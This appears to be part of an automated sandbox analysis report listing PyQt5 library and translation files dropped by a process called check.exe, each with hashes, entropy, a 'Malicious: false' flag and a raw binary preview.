SSDEEP:	1536:Nt4B1RLj3S6TtH2sweUH+Hz6/4+D6VFsfvUfO:AB1RHFdoeUs6/4O6VFSZ
MD5:	F66F6E9EDA956F72E3BB113407035E61
SHA1:	97328524DA8E82F5F92878F1C0421B38ECEC1E6C
SHA-256:	E23FBC1BEC6CEEDFA9FD305606A460D9CAC5D43A66D19C0DE36E27632FDDD952
SHA-512:	7FF76E83C8D82016AB6BD349F10405F30DEEBE97E8347C6762EB71A40009F9A2978A0D8D0C054CF7A3D2D377563F6A21B97DDEFD50A9AC932D43CC124D7C4918
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+...o...o...o...f...k......m...{..m......~......h......m......h...o..........k......n.....~.n......n...Richo...........................PE..d...V._.........." .....z...t......T........................................@.......b....`......................................... ................ ..X....................0..4.......T.......................(...p...0...............x............................text....y.......z.................. ..`.rdata...Z.......\...~..............@..@.data...............................@....pdata..............................@..@.qtmetad............................@..P.rsrc...X.... ......................@..@.reloc..4....0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	144368
Entropy (8bit):	6.294675868932723
Encrypted:	false
SSDEEP:	3072:rrjwZ43rCOtrBk7wcR0l7wBlaL6BtIEt51T0Nhkqg8FoQY:7hZu9R0l7wFBtIEt51T0Nuqg8JY
MD5:	53A85F51054B7D58D8AD7C36975ACB96
SHA1:	893A757CA01472A96FB913D436AA9F8CFB2A297F
SHA-256:	D9B21182952682FE7BA63AF1DF24E23ACE592C35B3F31ECEEF9F0EABEB5881B9
SHA-512:	35957964213B41F1F21B860B03458404FBF11DAF03D102FBEA8C2B2F249050CEFBB348EDC3F22D8ECC3CB8ABFDC44215C2DC9DA029B4F93A7F40197BD0C16960
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R._...1]..1]..1]..]..1]..0\..1]..5\..1]..2\..1]..4\..1]..0\..1]..0\..1]..0]..1]..4\..1]..1\..1]...]..1]..3\..1]Rich..1]........................PE..d...`._.........." .....\...........`.......................................`......wJ....`................................................. ........@..X.... ...............P.........T...................`...(...0...0............p...............................text....Z.......\.................. ..`.rdata......p.......`..............@..@.data...............................@....pdata....... ......................@..@.qtmetadm....0......................@..P.rsrc...X....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	130
Entropy (8bit):	4.024232093209084
Encrypted:	false
SSDEEP:	3:j2wZC4C/2/vlAlHekW3/S1MUe3/CLlI+rwtbWlMrNtYs8ar/u:Cwm+/PtUePCRIRt6Ygs8y/u
MD5:	8FF05B56C0995F90A80B7064AA6E915C
SHA1:	D5AEB09AE557CEEFB758972EC4AC624CDDC9E6A7
SHA-256:	A8A1B0D6F958E7366D1C856BE61000106D3E7FC993FB931675369892B9002D0B
SHA-512:	5374E0F1D3F5A6A456B00732DE8005787B17ECEF9C8A2B2C1228966A6A8DE211700334D8FD789DAD269F52D0AEED3F5160010CA60909861E270C253B3EA881A4
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ar....R.....q.t.b.a.s.e._.a.r.....q.t.s.c.r.i.p.t._.a.r.....q.t.m.u.l.t.i.m.e.d.i.a._.a.r..............$...*.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6813848812976975
Encrypted:	false
SSDEEP:	3:j2wZC4C/6lLlAlHekVYtzlY1MUdI7lULlI+rwtbWlMoIFl8IPldkO4t/z:CwDC+7tJjUWhURIRt68f8oiP1z
MD5:	466EED6C184D2055488D4C5EA9AE5F20
SHA1:	8599AB9B731BFC84F6EEC7A0129F396FB8FEC4EA
SHA-256:	9E1CE4D91852352043D9191F1A992838F919CBA7E2F2D9BB1161E494E8BF5F5E
SHA-512:	D2462951EC7DCE3D0851AE9C4ED644FFE0D2A5BDD15B4AE1A4295C187B4295BC854D6A5038DAC0564D165463419D615EB6CE7A9760CEFAD71AB673FB2109C349
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......bg....v.....q.t.b.a.s.e._.b.g.....q.t.s.c.r.i.p.t._.b.g.....q.t.m.u.l.t.i.m.e.d.i.a._.b.g... .q.t.x.m.l.p.a.t.t.e.r.n.s._.b.g.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.631479835393124
Encrypted:	false
SSDEEP:	3:j2wZC4C/NVl/lAlHekUOplY1MUce/hlAlI+rwtbWlMpOflUlIPldkOHlz:CwO4+94jUcerAIRt6a6Uloi8
MD5:	6FBA66FE449866B478A2EBA66A724A02
SHA1:	EBEF6ED8460218CE8DF735659A8CBCD693600AC6
SHA-256:	171C7424B24D8502AB53CB3784FF34D8FCFAE26557CF8AF4DFDDEC6485ACC2FE
SHA-512:	2D2438738C6D10D8A53B46DE5A94BBF993818D080F344D9F1B94FC83D60335D9A5E8EFCC297D593FFF1D427972F9F9502FC31C332CAEA579FC7A88487390457E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ca....v.....q.t.b.a.s.e._.c.a.....q.t.s.c.r.i.p.t._.c.a.....q.t.m.u.l.t.i.m.e.d.i.a._.c.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.c.a.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	157
Entropy (8bit):	3.7483537099309427
Encrypted:	false
SSDEEP:	3:j2wZC4C/fVFlAlHekUsplY1MUcM/hlULlI+rwtbWlMpsfl8IPldkO1lPchn:CwY4+9ujUcMrURIRt6aE8oinh
MD5:	D033053C03C3ECFA2AA926E0E674F67F
SHA1:	B4E95F8278121E2549F8BB6B5DAF1496F1738A7D
SHA-256:	3C0CBFD19490D67D1B3B9E944C3A4D9A9E7F87D7AE35E88D5D5A0077349B5B21
SHA-512:	2C7E9E9DBE0B25FBA94A52FE4BCCB1D9FED2A7BD2877DB91F82546C3BC8606280949594227BA0FC1C74C31010E1F573B3A82852BE746EAA4F397140485789136
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......cs....v.....q.t.b.a.s.e._.c.s.....q.t.s.c.r.i.p.t._.c.s.....q.t.m.u.l.t.i.m.e.d.i.a._.c.s... .q.t.x.m.l.p.a.t.t.e.r.n.s._.c.s...........

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6174817344122334
Encrypted:	false
SSDEEP:	3:j2wZC4C/4Jlr/lAlHekT6hY1MUb6JAlI+rwtbWlMuel3UlIPldkOQtt:Cw7rC+3jUkAIRt6EVUloi9
MD5:	E6A683F4A0883B5B0C7D30B847EF208C
SHA1:	FF2440DBBFE04AD86C6F285426AAFD49A895B128
SHA-256:	B5036161CE808C728E5FDA985F792DB565831FD01CF00B282547790C037353A2
SHA-512:	D73B794A71DFD3A3C06BF43ED109F635B4960F9A3904FB728873AB5251BDF6A791DDFDEBA884A2703A35461E18BA902804095AC4B92A2C9361526469B6D35FFA
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......da....v.....q.t.b.a.s.e._.d.a.....q.t.s.c.r.i.p.t._.d.a.....q.t.m.u.l.t.i.m.e.d.i.a._.d.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.d.a.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6174817344122334
Encrypted:	false
SSDEEP:	3:j2wZC4C/8rJFlAlHekTul01MUbul4LlI+rwtbWlMuallyIPldkOknt:Cw/rJ4+XU5RIRt6Aaoi7t
MD5:	06168E1261BF72F49F94927723B2E1EB
SHA1:	DEAF1B53C3FEE6CB28840418D0060AFA4D59D3FC
SHA-256:	5805B8FF3747849794E2D70661D737C69C15F1AE763C38E17084B1E5A81E9153
SHA-512:	AA3915C029C74DC270514C7F50E8BEC06C825F278E0DE0477AD8ED3187700BBD7711382A6E47C3AC76AC756CEFF9FA8CDD4E9B9DAC817475BC122F78B02C7D7D
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......de....v.....q.t.b.a.s.e._.d.e.....q.t.s.c.r.i.p.t._.d.e.....q.t.m.u.l.t.i.m.e.d.i.a._.d.e... .q.t.x.m.l.p.a.t.t.e.r.n.s._.d.e.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6070658648473097
Encrypted:	false
SSDEEP:	3:j2wZC4C/7lJFlAlHekSMthULlI+rwtbWlMvEJY1MUaEf8IPldkOzvt:CwElJ4+7MrURIRt6cujUaE8oi0F
MD5:	EE47DFADBA4414FDC051C5CFBE71DDC1
SHA1:	DE650E96A9C130D35F8A498202773EF7FC875D27
SHA-256:	E25E43F046F61022FFE871A2F73C6A12EDFC5C3EFD958C0E019A721860A053B0
SHA-512:	8C1D8901D2F66CCBF947B831858E08B703517470B2B813B241E00162A275AC9103FF5B9251AD39BD53551E0A4FB45EE74187B218A1EF7C6CF6C5FA9F9219AE04
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......es....v.....q.t.b.a.s.e._.e.s.....q.t.m.u.l.t.i.m.e.d.i.a._.e.s.....q.t.s.c.r.i.p.t._.e.s... .q.t.x.m.l.p.a.t.t.e.r.n.s._.e.s.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_fa.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	293121
Entropy (8bit):	5.272179385890926
Encrypted:	false
SSDEEP:	3072:gEo2cQbzaVmvGQYkHkMRKkNeGr+0BhaRsLAChY21rpnLqL9ytnvC58gypn4l4qF:gEZbza0HjeGrxBhaCLFC
MD5:	F9C3624197ACB30A9E6CC799BB65BED6
SHA1:	D715EAE24387DE15588F68C92991A93FAFB5EEAB
SHA-256:	B292AFB0763B8C7C30A5AF7372BFC12D8A0D00BF3DD4A000715D9F576D9C1A39
SHA-512:	199C107AE7EAFCF2A5EEC149CAFEE7ED09B938E204B56AD3AAC9568D27166F61EC8E2225A11AF26F7E1F035FB5CAD98621A01E8A9942D18C273F43B90201162A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......faB..I....*...u...+...............@.......A...J...B.......C...X...D.......E.......F...%...G.......H...0...I.......P...v...Q.......R.......S.......T..."...U.......V...h...W.......X...s...Y.......]..e....t...................-.......W.......\|.......i...;..Eu...;..Z....;...]...;..c....;.......;..0]...M..f....O.......O..2.......#....}..f=...m..fg.........(5......+;..1a..+;...V..+;...!..+O..17..+O...(..1.......E@......F....u..H4......HY...Y..H....S..I....5..I@.....IA......IC......J...1...J.......J.......J...\|...K...6...LD......L.......PS......R....Z..T.......Zr.. ...[`...O..[`......\...%@..\...2..._...&l.._...38..1........E..........2u..........1.......1...........@......4G...........................$...L...$..xY...[.......,...u...y...y...y..z.......F.......<.......g.......5W...........9...........f...E...U...E../....E..................0-...%..6....%.........................3......f..........5...?...0..EK...0......0..L ...0..c....0.......0...Z...5...........Y.. D

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_fi.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	117
Entropy (8bit):	3.739162292019161
Encrypted:	false
SSDEEP:	3:j2wZC4C/4HlAlHekRgOp1MUZWJKlI+rwtbWlMsIkk:Cwxe++IUocIRt6Qkk
MD5:	72882942B07B8AAC98034016E752B1A0
SHA1:	BF23B4C136B863B10E770019A2DF62FC988859DF
SHA-256:	048CA42DCE4FAF5FC21D843576E3C6FD963146ECC78554E7E5F34D07F64FB213
SHA-512:	403E7F4E9A0E44F2118804F0781A18EB1852797825498751E3AFA02D9558D90293ABDB570786CED80F7EFF800BEF6D9444A72E6A640D331DA46B2A0EA43C8E96
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fi....R.....q.t.b.a.s.e._.f.i.....q.t.s.c.r.i.p.t._.f.i.....q.t.m.u.l.t.i.m.e.d.i.a._.f.i.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.680458675741643
Encrypted:	false
SSDEEP:	3:j2wZC4C/FjlAlHekRL21MUZNJOLlI+rwtbWlMs9KIPldkORT:Cw3+SU0RIRt6koio
MD5:	3C45C665CFE036A7474CB4DCBB13CF40
SHA1:	62312DFF3C4CD38BAE8456C981601D0D89600F63
SHA-256:	8624033D849E670B12C9532337FCBF260F20848E044FEE7787CFE2AC92BE28DB
SHA-512:	21659AA452BC2493D915F0BE94F90CDD57759B1F1306AAA2836058D41E80DED24742EBD74E19420021514A6AB4150CA0B447574E96B9D3BF0BC5A8C78DAAF7AC
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fr....v.....q.t.b.a.s.e._.f.r.....q.t.s.c.r.i.p.t._.f.r.....q.t.m.u.l.t.i.m.e.d.i.a._.f.r... .q.t.x.m.l.p.a.t.t.e.r.n.s._.f.r.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_gd.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.463523104731333
Encrypted:	false
SSDEEP:	3:j2wZC4C/EXlAlHekQrEuknbJB:CwjO+5JY
MD5:	A8D55457C0413893F746D40B637F9C93
SHA1:	25123615482947772176E055E4A74043B2FBCAA0
SHA-256:	49DF855A004A17950338AF3146466F6DF4D5852410BD0B58EA80E0D0203A9D24
SHA-512:	99718B948D94B292BDEDF6B247A5856BC7AC78408FCC41C980F264C2C8565125786F0289F5F993DCF11B8CDA3AFB2A1D8634B1D0BC9B34992F538F8E4086EC00
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gd..........q.t.b.a.s.e._.g.d....................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_gl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	323590
Entropy (8bit):	4.568068046062524
Encrypted:	false
SSDEEP:	3072:OYSG8zxWSDjq73Pf6FT1f4uh50QGrRfFD54YyUY0Ou4/tnra3Z0uYhB5YHfHRRn2:O39WSD3TMQGrxFD5EUVQ
MD5:	0661FFABFBC50187F3BA38876B721946
SHA1:	EB5E7205355CFC6BCB4DF27E224079842C97B296
SHA-256:	204A01AC7DEB6B5BAE193AFECBD1E50D18C73BF7D94BADEB2BBFDF6123C4ED93
SHA-512:	65AB66CC54D65E7678FA731A5C5F2CC9D6FC217B91AD47D538440811E09A23E49CD95CE62A79E3E8C275E250AC1A0B54BD289F6DD067573876DA7AFF54381D02
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gl_ESB..I...........+..&............@.......A...z...B.......C...p...D.......E......F...!...G......H.......I......P...@...Q.......R......S...5...T......U...+...V.......W...a...X.......Y...N...]..o....t..,................F.......p..............4....;..LI...;..bD...;.......;.......;.......;..cJ...M..o1...O..G....O..e.......U....}..oY...m..o........D..(5...X..+;..6/..+;...~..+;......+O..6...+O...N..1......E@...?..F.......H4..'...HY......H...3`..I......I@......IA......IC..0...J...P...J...1...J...0...J.......K...:...LD..2...L...3...PS..:A..R... d..T.......Zr..Rd..[`......[`.....\...WK..\...RR.._...X..._...f...1........E...{......7M..........1.......1....q......O.......9......................)....$... ...$.......[..,=...,..-....y..0X...y...~......Mx......]0.......H......:A......0....9...............E...o...E..b....E.........1.......c....%..;....%...;......3.......^......S................5..4Z...0..L....0.......0..n....0.......0..7....0.......5..9D......!g.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_he.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	83
Entropy (8bit):	3.880645689209568
Encrypted:	false
SSDEEP:	3:j2wZC4C/YJ/dQlHekfaB21MUXmlvt:CwT0+D/UUt
MD5:	DD5C2C6B148F2DB3E666B859776AE129
SHA1:	8368F32039CC0776A1B95C9DED5FE6C9EA0D93FD
SHA-256:	C113D14E218D5402B616DABEA27969C6F83852676468C5EF051DDDEFB3EE0235
SHA-512:	2EAE33C8707407E083F6B8B05EA2C5B987646DF1553888C16D6508C5A33B2F758DDED73323622CD50324C96F51D61B7CE822F393551A30B211ABD3CC1367249F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......he....0.....q.t.b.a.s.e._.h.e.....q.t.s.c.r.i.p.t._.h.e.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	8743
Entropy (8bit):	5.189558605179696
Encrypted:	false
SSDEEP:	192:YUM7gBwnG4Vxj4nyn9aAMOJckrL6esm/0sQ5HeK1nvEB:YBkKnZxkyn9aAMWPsm/0sQsGvEB
MD5:	CCD39A7C8139AD041E31B3E5D40968B4
SHA1:	5751BE96817BB6AE7C9DA9F1FBA7F42F31CFCC5D
SHA-256:	222088C9752D1CC3BAB985EF2DC77E5AE78578DCE18A61EC15B39F02E588163D
SHA-512:	9844C0EC65EE1C76DBA021EAC6D476A85E6C8F5BBAF4150C1EA80C0A95BEDE67B5E8F981360EF8599FCECDFCBCB83BC0B8AC44DDEFDCD85F914318030E346967
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......arB.....(.....d.0T.....5w......Uj....!.`.....M.a[............n..t..............39....&................B<s...V..M^...e......4.O5^...r..)^......o>...........?...t.....D ......k.N.....k.N...C...n...T...I...R..........2>.................\|..G.......w....T.......l..........,................^............$a......6.>...........x..K......W.b....._Xn......GN...m..~......!.....J.K.H.............pN.............P.~.....o.....W..(.......~......s.>......%c.....o.....R.z.q..........................n.h................e.....i..........:.J.1. .E.3.E.Q.I..........Untitled.....QHelp.....8..9.0.Q.1. .F.3... .E.D.A.Q. .'.D..Q.,.E.J.9.).:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler........9.0.Q.1. .%.F.4.'.!. .'.D./.Q.D.J.D.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....>..9.0.Q.1. .%.F.4.'.!. .,./.'.H.D. .A.J. .'.D.E.D.A.Q. .%.1........... Cannot create tables in file %1......QHelpCollectionHandler.....L..9.0.Q.1. .*.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10599
Entropy (8bit):	5.192287379770591
Encrypted:	false
SSDEEP:	192:jhYkcd7CYBdmfIOeX3byuJRoZXlBYnEpUYR+BJqO5X9pA2NNrxC0zwRK2nMY762A:a71DQIrLuVCnEtR+DquhN5xC0zwKPYHA
MD5:	5538049DA3A1D1D724AB6E11D2E2EDBE
SHA1:	7256BE390B88A053C0252488C443BE42F6F2D92A
SHA-256:	CBCDD1E0BBAE332D80DDB0A286056F17C824FA28D353D7FDF12FC97D9F6FE054
SHA-512:	DD98CAF3A016968EEDC9106C1839DDECC2D109E9E354708BD74B35E766C6A098C1680C0B867EAD9FCE2E2A6D683BE673B8E5DF1A1B2F1AAFDB31910FF833370F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......bgB...(.(.......0T......5w... S.Uj......`.......a[....(..........t..............39..........&..........B<s...4..M^..........q...J..%..O5^...O..)^...I..o>...I...J..%.......#....t...A.8dz..$..D ....Z.k.N...<.k.N.......n.......I..............2>...p................G..."...w....................7..,................^............$a....<.6.>..........#...K...........$1.W.b....._Xn......GN...*..~....-..TH.."..!.....5.K.H..#R.........pN..."......&..P.~...@.o.....v..(.........."8..~......s.>.....o.... ..z.q..........................O.h....!t..........e....mi..'.....\|.(...@.8.G.8.=.0.B.0. .<.>.6.5. .4.0. .5.,. .G.5. .4.>.:.C.<.5.=.B.0.F.8.O.B.0. .2.A.5. .>.I.5. .A.5. .8.=.4.5.:.A.8.@.0...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.........0.1.5.;.5.6.:.0.:..........Note:.....QCLuceneResultWidget.....,. .5.7.C.;.B.0.B.8. .>.B. .B.J.@.A.5.=.5.B.>..........Search Results.....QCLuceneResultWidget....... .

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7444
Entropy (8bit):	4.580794980254807
Encrypted:	false
SSDEEP:	192:G8oS34B7n303D37Bn3Jso37cfp3Mg3H373R58noct36R9RFu:GQU7ETrxZvqTXLSoct36Pzu
MD5:	66722ED97BCBFD3DAE3C8264413859AB
SHA1:	400A93B213FCF9BBC9785881EA82ADB9F444CD6C
SHA-256:	ECD4283A660F2CF72849B323810D7EADD063120B6F561E05AA1243A5B280946A
SHA-512:	B898BAC9652D7532384ED5CC53FA62DB55D516421D13F815A3E6D5E80AD4C69555F1A7E6C51F8B0A234614824EEE01D6731458F90D40A585990F84A58B9ABE44
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......caB............%.......0T......K:^.....Uj......`.....P..YJ...V.E.4...*...........>...7........B<s.....B\>...6........+.s.....zq.......9.......vR......@.......@.......:....;.8Z....!.g.N......F................t.....D ....z.k.N.......I......^......`#.......2.......G........N...7......N......{..................K...............GN......NO...5.........K.H...@.........pN......V............q..................>...N.........~.....5..%c...:.z.q....i...4....".A.f.e.g.e.i.x. .u.n. .f.i.l.t.r.e..........Add Filter.....FilterNameDialogClass.......N.o.m. .d.e.l. .f.i.l.t.r.e.:..........Filter Name:.....FilterNameDialogClass.......S.e.n.s.e. .t...t.o.l..........Untitled.....QHelp.....`.N.o. .s.'.h.a. .p.o.g.u.t. .c.o.p.i.a.r. .e.l. .f.i.t.x.e.r. .d.e. .c.o.l...l.e.c.c.i...:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....H.N.o. .s.'.h.a. .p.o.g.u.t. .c.r.e.a.r. .e.l. .d.i.r.e.c.t.o.r.i.:. .%.1..........Cannot create directory: %1.....QHelpCollect

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	15297
Entropy (8bit):	4.708378368926237
Encrypted:	false
SSDEEP:	384:hmv1gdEYEiNrVhTBvAn1ca1f5lwHoJr0vwuxqsP/5jxA:o1gdEvgbloCof9ixqspW
MD5:	ED228F0F60AE9AEC28AB9171D5AE9590
SHA1:	7F061CF0C699D125A5531E3480C21964452F45EA
SHA-256:	4AC56FC63E400943BAB13F1D4C418502138908E1D488C24AEE6131D3D17552AA
SHA-512:	794CC671C08BFC50980820A6389B9D0D3514619AD0A8F18EFD5554CBBF2482192DF00B9D3B05FEE45F42276E63E2375FB28E193930D426245035B4B0E3E14ED8
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......cs_CZB...H.(.......(.......0T......0T......5w...0..Uj......`.......a[......a[....$.......p..........t.......t...........!..1"....T.39....T.39.......s...0......(......7/.................B<s...L..MQ......M^../q..........J..6@.0....B.O5Q..'..O5^..(A..)Q...X..)^......o>..........+....J..6.......4....t.....8dz..5..D ....R.D ......k.A.....k.A.....k.N.....k.N.......n.."....I..........................2...21......2>..........d.............T..G...4...w...!N......&O......&....!..".......#E..,...,.......)....Q..$/...^..$................$a......6.>.. t......5...K.......K....)......5E.W.b..-.._Xa..%a._Xn..%...GA......GN...?......,9..~.......TH..3..!......K.H..4h.........pA...J..pN..........7..P.~.. ..o.....0..(....*..(..........3V..~....T.s.1.....s.>..._.o....0..o....1p.z.q..........'9.....#........^.........h....2................Z..e... .i..8J......(.D.o.v.o.d.e.m. .p.r.o. .t.o. .b.y. .m.o.h.l.o. .b...t.,. .~.e. .d.o.k.u.m.e.n.t.a.c.e. .j.e. .s.t...l.e. .j.e.a.t...

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	4795
Entropy (8bit):	4.530246422531362
Encrypted:	false
SSDEEP:	96:X82wNlnKfN1LMFy7LsF3ZqBFZjWo0koBLqBXXjGL0qU7UqB7zoElmP5MUu4DZIHU:XM01f7eOnoB8X2s7Vfg5Mi4beXiOUu
MD5:	1D09BEE1FB55A173F7EB39B9A662A170
SHA1:	C77F0A148262A91679F19689E4790B754D45D5D5
SHA-256:	6BB092552A398687119F6D52145F04BF8373977446D8F00C0DCBD56B96829F0F
SHA-512:	BE5A31A6135E8DB024A8B0EB20C4D8EECBF76861F83FF83B4CA97327DB74AD94BB5D77B4E0A59A33B697C32A4EACD61B8C878951F2C545385C74D99FCE56FEE1
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......daB.....%.....m.0T......Uj....V.`....................k.B<s.....B\>..........6.+.s...............t.....D ....\|.k.N...9...I...O..2.......G....B...N...O..............!..K...._..........GN...........@.K.H.............pN..............>.....~.....m..%c.....z.q....i..........U.n.a.v.n.g.i.v.e.t..........Untitled.....QHelp.....D.K.a.n. .i.k.k.e. .k.o.p.i.e.r.e. .s.a.m.l.i.n.g.s.f.i.l.e.n.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....6.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .m.a.p.p.e.n.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....V.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .i.n.d.e.k.s.t.a.b.e.l.l.e.r. .i. .f.i.l.e.n. .%.1...........&Cannot create index tables in file %1......QHelpCollectionHandler.....J.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .t.a.b.e.l.l.e.r. .i. .f.i.l.e.n. .%.1........... Cannot create tables in file %1......QHelpCollectionHandler.....P.K.a.n. .i.k.k.e. .i.n.d.l...s.e. .s.q.l.i.t.e.-.d.a.t.a.b.a.s.e.-.d.r

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7570
Entropy (8bit):	4.550982634910665
Encrypted:	false
SSDEEP:	96:8y/gPmmhL/7LlSivP6kBL7jb0RNUzzpld4UGG3Ik18fLP0L7fGc0OeVP8a8hiAwj:1OD7hx/Bv3oNuFX4iqgv34fZsu
MD5:	3B070D169E3381E2FB081172934AAD00
SHA1:	70886EB7EF566B296D0814BD4C2440AC176699D6
SHA-256:	9962523FBAE9F1E4C3B5C3C16860D059291CB30DC5EBE5A5EDA4C836A03FED1E
SHA-512:	271B730B5A7358E923BBBC6FA074A72DA52FA47E3B7726779EF7034200EDA09BF0E1AE4E7B11B59F76805F48DC285F6EFC245EB9C7F4A748BE82B25CEE1DDCAE
